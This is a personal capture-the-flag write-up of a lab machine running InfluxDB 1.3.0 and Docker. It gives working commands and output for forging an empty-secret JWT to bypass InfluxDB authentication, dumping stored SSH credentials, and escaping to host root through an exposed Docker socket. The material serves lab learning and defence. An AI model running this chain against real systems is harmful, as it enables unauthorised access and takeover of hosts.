With this writeup I decided to not do it with screenshots but rather code snippets. It does look a bit messy. I think next time I will stick to screenshots too.
With this challenge we had to answer some questions while getting the user.txt
and root.txt
flags.
TASK 2 - Enumeration
- Do a TCP portscan. What is the name of the database software running on one of these ports?
I kicked off a RustScan
and passed NMAP
through it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
rustscan -a 10.10.243.165 --ulimit 5000 -- -A -sC -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time β
[~] The config file is expected to be at "/home/mooncake/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.243.165:111
Open 10.10.243.165:2222
Open 10.10.243.165:8086
Open 10.10.243.165:47330
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p ")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-27 22:02 SAST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:02
Completed NSE at 22:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:02
Completed NSE at 22:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:02
Completed NSE at 22:02, 0.00s elapsed
Initiating Ping Scan at 22:02
Scanning 10.10.243.165 [2 ports]
Completed Ping Scan at 22:02, 0.16s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:02
Completed Parallel DNS resolution of 1 host. at 22:02, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 22:02
Scanning 10.10.243.165 [4 ports]
Discovered open port 111/tcp on 10.10.243.165
Discovered open port 8086/tcp on 10.10.243.165
Discovered open port 47330/tcp on 10.10.243.165
Discovered open port 2222/tcp on 10.10.243.165
Completed Connect Scan at 22:02, 0.16s elapsed (4 total ports)
Initiating Service scan at 22:02
Scanning 4 services on 10.10.243.165
Completed Service scan at 22:02, 12.47s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.243.165.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:02
Completed NSE at 22:02, 5.27s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:02
Completed NSE at 22:02, 0.71s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:02
Completed NSE at 22:02, 0.00s elapsed
Nmap scan report for 10.10.243.165
Host is up, received conn-refused (0.16s latency).
Scanned at 2021-07-27 22:02:34 SAST for 19s
PORT STATE SERVICE REASON VERSION
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 35234/udp6 status
| 100024 1 39716/tcp6 status
| 100024 1 45434/udp status
|_ 100024 1 47330/tcp status
2222/tcp open ssh syn-ack OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 b0:ce:c9:21:65:89:94:52:76:48:ce:d8:c8:fc:d4:ec (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBALOlP9Bx9VQxs4JDY8vovlJp+l+pPX2MGttzN2gGNYABXAVSF9CA14OituA5tcJd5/Nv3Ru3Xyu8Yo5SV0d82rd7L/NF5Relx+iiVF+bigo329wbV3wsIrRQGUYHXiMjAs8WqQR+XKjOm3q4QLVxe/jU1I1ddy6/xO4fL7nOSh3RAAAAFQDKuQDe9pQtmnqvJkZ7QuCGm31+vQAAAIBENh/MS3oHvz1tCC4nZYwdAYZMBj2It0gYCMvD0oSkqL9IMaP9DIt/5G3D9ARrZPeSP4CqhfryIGHS7t59RNdnc3ukEsfJPo23bPBwWdIW7HXp9XDqyY1kD6L3Tq0bpeXpeXt6FQ93rFxncZngFkCrMD4+YytS532qPHMPOWh75gAAAIA7TohVech8kWTh6KIMl2Y61s9cwUqwrTkqJIYMdZ73nP69FD0bw08vyrdAwtVnsqRaNzsVVz9sBOOz3wmp/ZNI5NiuyA0UwEcxPj5k6jCn620gBpMEzVy6a8Ih3yRYHoiVMrQ/PIuoeIGxeYGckCorv8jSz2O3pq1Fnz23FRPH2A==
| 2048 7e:86:88:fe:42:4e:94:48:0a:aa:da:ab:34:61:3c:6e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbBmLBPg9mxkAdEbJGnz0v6Jzo4qdBcajkaIBKewKyz6OQTvyhVcDReSB2Dz0nl4mPCs3UN58hSNStCYXjZcpIBpqz2pHupVlqQ7u41Vo2W8u0nVFLt2U8JhTtA9wE6MA9GhitkN3Qorhxb3klCpSnWCDdcmkdNL0EYxZV53A52VWiNGX3vYkdMAKHAmp/VHvrsIeHozqflL8vD2UIoDmxDJwgXJRsr2iGVU1fL/Bu/DwlPwJkm50ua99yPpZbvCS9EwWki76aEtZSbcM4WHzx33Oe3tLXLCfKc9CJdIW35nBvpe5Dxl7gLR/mCHp2iTpdx1FmpSf+JjO/m2vKwL4X
| 256 04:1c:82:f6:a6:74:53:c9:c4:6f:25:37:4c:bf:8b:a8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHufHfqIZHVEKYC/yyNS+vTt35iULiIWoFNSQP/Bm/v90QzZjsYU9MSt7xdlR/2LZp9VWk32nl5JL65tvCMImxc=
| 256 49:4b:dc:e6:04:07:b6:d5:ab:c0:b0:a3:42:8e:87:b5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJEYHtE8GbpGSlNB+/3IWfYRFrkJB+N9SmKs3Uh14pPj
8086/tcp open http syn-ack InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
47330/tcp open status syn-ack 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:02
Completed NSE at 22:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:02
Completed NSE at 22:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:02
Completed NSE at 22:02, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.67 seconds
From the scan we see the following ports open:
- 111 : RPC INFO
- 2222 : SSH
- 8086 : HTTP
- 47339 : UNKNOWN
From port 8086
we can see that there is an InfluxDB
on this port. We have the answer for the first question here.
TASK 3 - Database exploration and user flag
Here we get given 5 questions to answer.
- What is the database user you find?
- What was the temperature of the water tank atΒ 1621346400Β (UTC Unix Timestamp)?
- What is the highest rpm the motor of the mixer reached?
- What username do you find in one of the databases?
- user.txt
Let us start enumerating port 8086
. For this room I decided to rather use command line rather than a web browser and Burp.
1
2
curl 10.10.243.165:8086
404 page not found
We get a 404. Time to see if we can find any directories or files with feroxbuster
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
feroxbuster -u http://10.10.243.165:8086
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.3.1
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.243.165:8086
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β [200, 204, 301, 302, 307, 308, 401, 403, 405]
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.3.1
π Config File β /etc/feroxbuster/ferox-config.toml
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Cancel Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
204 0l 0w 0c http://10.10.243.165:8086/status
401 1l 5w 55c http://10.10.243.165:8086/query
204 0l 0w 0c http://10.10.243.165:8086/ping
405 1l 3w 19c http://10.10.243.165:8086/write
[####################] - 1m 29999/29999 0s found:4 errors:0
[####################] - 1m 29999/29999 290/s http://10.10.243.165:8086
We find two directories that donβt return anything. /status
and /ping
The other two /query
and /write
gives us the following
1
2
curl http://10.10.243.165:8086/query
{"error":"unable to parse authentication credentials"}
1
2
curl http://10.10.243.165:8086/write
Method Not Allowed
Seems we require authentication credentials.
After some research and googling, there was the following article
https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
You can read up on this exploit in the article but essentially we will be creating our own JWT token
and with that we will be able to send queries to InfluxDB
From the article, our first step is to get the username.
1
2
3
4
curl http://10.10.243.165:8086/debug/requests
{
"o5yY6yya:127.0.0.1": {"writes":2,"queries":2}
}
With this, we find the username for Question 1 for Task 2.
Now for the JWT token.
We go to https://jwt.io/
This is the format of the JWT token.
1
2
3
header - {"alg": "HS256", "typ": "JWW"}
payload - {"username":"username","exp":1727388403}
signature - HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),<leave this field empty>)
The expiry date is in the form of epoch time
. To convert the time to epoch time we can do it here - https://www.epochconverter.com/ Just make sure you set the time to in the future so that the JWT token does not expire
. I set mine to somewhere in 2024.
It should look something like this.
Now we can send queries to InfluxDB.
It took a bit to understand how to query the API but eventually managed reading the following documentation - https://docs.influxdata.com/influxdb/v1.8/tools/api/
We can send the following to list the databases.
NOTE: I AM PIPING THE QUERY TO JQ TO MAKE THE OUTPUT MORE READABLE. YOU WILL HAVE TO INSTALL IT.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
curl -s 'http://10.10.243.165:8086/query' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzI3Mzg4NDAzfQ.EmsmI208Oc2CNoiICnC3T4ftmwbJygAZkECpjam4PXQ" -X POST --data-urlencode 'q=show databases' | jq
{
"results": [
{
"statement_id": 0,
"series": [
{
"name": "databases",
"columns": [
"name"
],
"values": [
[
"creds"
],
[
"docker"
],
[
"tanks"
],
[
"mixer"
],
[
"_internal"
]
]
}
]
}
]
}
To query for βtablesβ inside the databases, instead of using show tables
, like we would use with MySQL or PostgreSQL, we need to use show measurements
Question 2 had us look for something at an certain EPOC time. Going to https://www.epochconverter.com/ we enter the EPOC time to match the time better to answer the question and we just look at the corrospoding date and we get the temperature.
It can be found with the following query on the tanks
database, in the water_tank
bucket.
1
curl -s 'http://10.10.243.165:8086/query' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzI3Mzg4NDAzfQ.EmsmI208Oc2CNoiICnC3T4ftmwbJygAZkECpjam4PXQ" -X POST --data-urlencode "db=tanks" --data-urlencode "q=select * from water_tank" | jq
Question 3βs answer can be found in the mixer
database, in the mixer_stats
bucket.
1
curl -s 'http://10.10.243.165:8086/query' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzI3Mzg4NDAzfQ.EmsmI208Oc2CNoiICnC3T4ftmwbJygAZkECpjam4PXQ" -X POST --data-urlencode "db=mixer" --data-urlencode "q=select * from mixer_stats" | jq
Question 4 can be found in the creds
database, in the ssh
bucket.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
curl -s 'http://10.10.243.165:8086/query' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNzI3Mzg4NDAzfQ.EmsmI208Oc2CNoiICnC3T4ftmwbJygAZkECpjam4PXQ" -X POST --data-urlencode "db=creds" --data-urlencode "q=select * from ssh" | jq
{
"results": [
{
"statement_id": 0,
"series": [
{
"name": "ssh",
"columns": [
"time",
"pw",
"user"
],
"values": [
[
"2021-05-16T12:00:00Z",
7788764472,
"uzJk6Ry98d8C"
]
]
}
]
}
]
}
We now have some credentials that looks to be the ssh credentials?
username: uzJk6Ry98d8C
password: 7788764472
Letβs try use the creds to login via SSH
1
2
3
4
5
6
7
8
9
10
11
ssh uzJk6Ry98d8C@10.10.243.165 -p 2222
uzJk6Ry98d8C@10.10.243.165's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jul 27 21:05:14 2021 from ip-10-8-18-252.eu-west-1.compute.internal
uzJk6Ry98d8C@76b4f9ebadf9:~$
We also find the user.txt
flag
1
2
3
4
5
6
7
8
9
uzJk6Ry98d8C@76b4f9ebadf9:~$ ls -lsa
total 24
4 drwxr-xr-x 4 uzJk6Ry98d8C uzJk6Ry98d8C 4096 Jul 27 19:57 .
4 drwxr-xr-x 7 root root 4096 Jul 27 19:56 ..
0 lrwxrwxrwx 1 uzJk6Ry98d8C uzJk6Ry98d8C 9 May 18 14:50 .bash_history -> /dev/null
4 drwxr-xr-x 7 uzJk6Ry98d8C uzJk6Ry98d8C 4096 Jul 27 19:57 data
4 -rw-r--r-- 1 uzJk6Ry98d8C uzJk6Ry98d8C 527 Jul 27 19:57 meta.db
4 -rw-r--r-- 1 uzJk6Ry98d8C uzJk6Ry98d8C 22 May 18 14:50 user.txt
4 drwx------ 7 uzJk6Ry98d8C uzJk6Ry98d8C 4096 Jul 27 19:57 wal
TASK 4 - Privilege escalation
Now we need to find /root/root.txt
First thing I noticed was that we were in a docker image and that there was the following process running from a ps -ef
1
uzJk6Ry+ 6941 16 0 19:57 ? 00:00:00 socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock
socat
was exposing /var/run.docker.sock
on port 8080
. Having this exposed allows us to query Docker. We do not have the Docker command available on the remote machine so the easiest way to do this would be to leverage this by using SSH port forwarding
to my machine to expose port 8080
. We would need to make sure we have the Docker CLI tools available on our own machine.
Let us setup the tunnel.
1
ssh -L 8080:localhost:8080 uzJk6Ry98d8C@10.10.243.165 -p 2222
Now we can use the Docker command to communicate with the Docker instance.
Letβs see what we have
Docker Images
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
curl -s http://127.0.0.1:8080/images/json | jq
[
{
"Containers": -1,
"Created": 1621349458,
"Id": "sha256:26a697c0d00f06d8ab5cd16669d0b4898f6ad2c19c73c8f5e27231596f5bec5e",
"Labels": {},
"ParentId": "sha256:213cc0db00922f32cf219291c2f81dfd410304b093a44703927a1db630d7722d",
"RepoDigests": null,
"RepoTags": [
"sweettoothinc:latest"
],
"SharedSize": -1,
"Size": 358659530,
"VirtualSize": 358659530
},
{
"Containers": -1,
"Created": 1499487353,
"Id": "sha256:e1b5eda429c335c11c07ea85e63f8a60518af69212f19fe50a2a28717744b384",
"Labels": {},
"ParentId": "",
"RepoDigests": [
"influxdb@sha256:99ef42027ac794b038ceb829537e92881e7648fa8c62c89ce84531d69177a635"
],
"RepoTags": [
"influxdb:1.3.0"
],
"SharedSize": -1,
"Size": 227323286,
"VirtualSize": 227323286
}
]
Docker Containers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
curl -s http://127.0.0.1:8080/containers/json | jq
[
{
"Id": "76b4f9ebadf90b163a385bfa469fc108b5993f27720011ab01877a1391e15ba1",
"Names": [
"/sweettoothinc"
],
"Image": "sweettoothinc:latest",
"ImageID": "sha256:26a697c0d00f06d8ab5cd16669d0b4898f6ad2c19c73c8f5e27231596f5bec5e",
"Command": "/bin/bash -c 'chmod a+rw /var/run/docker.sock && service ssh start & /bin/su uzJk6Ry98d8C -c '/initializeandquery.sh & /entrypoint.sh influxd''",
"Created": 1627415793,
"Ports": [
{
"IP": "0.0.0.0",
"PrivatePort": 22,
"PublicPort": 2222,
"Type": "tcp"
},
{
"IP": "0.0.0.0",
"PrivatePort": 8086,
"PublicPort": 8086,
"Type": "tcp"
}
],
"Labels": {},
"State": "running",
"Status": "Up About an hour",
"HostConfig": {
"NetworkMode": "default"
},
"NetworkSettings": {
"Networks": {
"bridge": {
"IPAMConfig": null,
"Links": null,
"Aliases": null,
"NetworkID": "7155b0990f259c3601099d66c948d42fea5711895942c368eb5517702643b43b",
"EndpointID": "38fa09a0d58d1edd41e683f825c7b2286e543621962463c95af173202f36e4ea",
"Gateway": "172.17.0.1",
"IPAddress": "172.17.0.2",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"MacAddress": "02:42:ac:11:00:02",
"DriverOpts": null
}
}
},
"Mounts": [
{
"Type": "volume",
"Name": "835c5e630755f761ee0093608569c65217b8cab8a7343d2bfdbdc3dae365e1e4",
"Source": "",
"Destination": "/var/lib/influxdb",
"Driver": "local",
"Mode": "",
"RW": true,
"Propagation": ""
},
{
"Type": "bind",
"Source": "/var/run/docker.sock",
"Destination": "/var/run/docker.sock",
"Mode": "",
"RW": true,
"Propagation": "rprivate"
}
]
}
]
We have two docker images.
sweettoothinc
and influxdb:1.3.0
I went down a rabbit hole with an article I read "Escaping the Whale"
and was trying to use that method to access the containers with not much luck but it was by far easier than that.
We can actually just run the following command to access the sweettoothinc
instance.
1
2
3
4
5
6
7
8
9
10
docker -H localhost:8080 exec -it sweettoothinc sh
# cd /root
# ls -lsa
total 24
4 drwx------ 4 root root 4096 May 18 14:50 .
4 drwxr-xr-x 62 root root 4096 Jul 27 21:05 ..
4 -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
4 drwx------ 2 root root 4096 Jul 8 2017 .gnupg
4 -rw-r--r-- 1 root root 140 Nov 19 2007 .profile
4 -rw-r--r-- 1 root root 22 May 18 14:50 root.txt
TASK 5 - Escape!
For the final /root/root.txt
we needed just to access the other container.
1
2
3
4
5
6
7
8
9
10
11
12
13
docker -H localhost:8080 run -v /:/mnt/ --rm -it influxdb:1.3.0 chroot /mnt sh
# cd /root
# ls -lsa
total 28
4 drwx------ 2 root root 4096 May 18 10:59 .
4 drwxr-xr-x 22 root root 4096 May 15 08:37 ..
0 lrwxrwxrwx 1 root root 9 May 15 14:17 .bash_history -> /dev/null
4 -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
4 -rw-r--r-- 1 root root 140 Nov 19 2007 .profile
4 -rw-r--r-- 1 root root 66 May 15 14:15 .selected_editor
4 -rw------- 1 root root 1611 May 15 08:36 .viminfo
4 -rw-r--r-- 1 root root 22 May 15 12:15 root.txt
#
All in all it was a fun little challenge and spent some time reading and going down rabbit holes which I can see now, I tend to overthink things.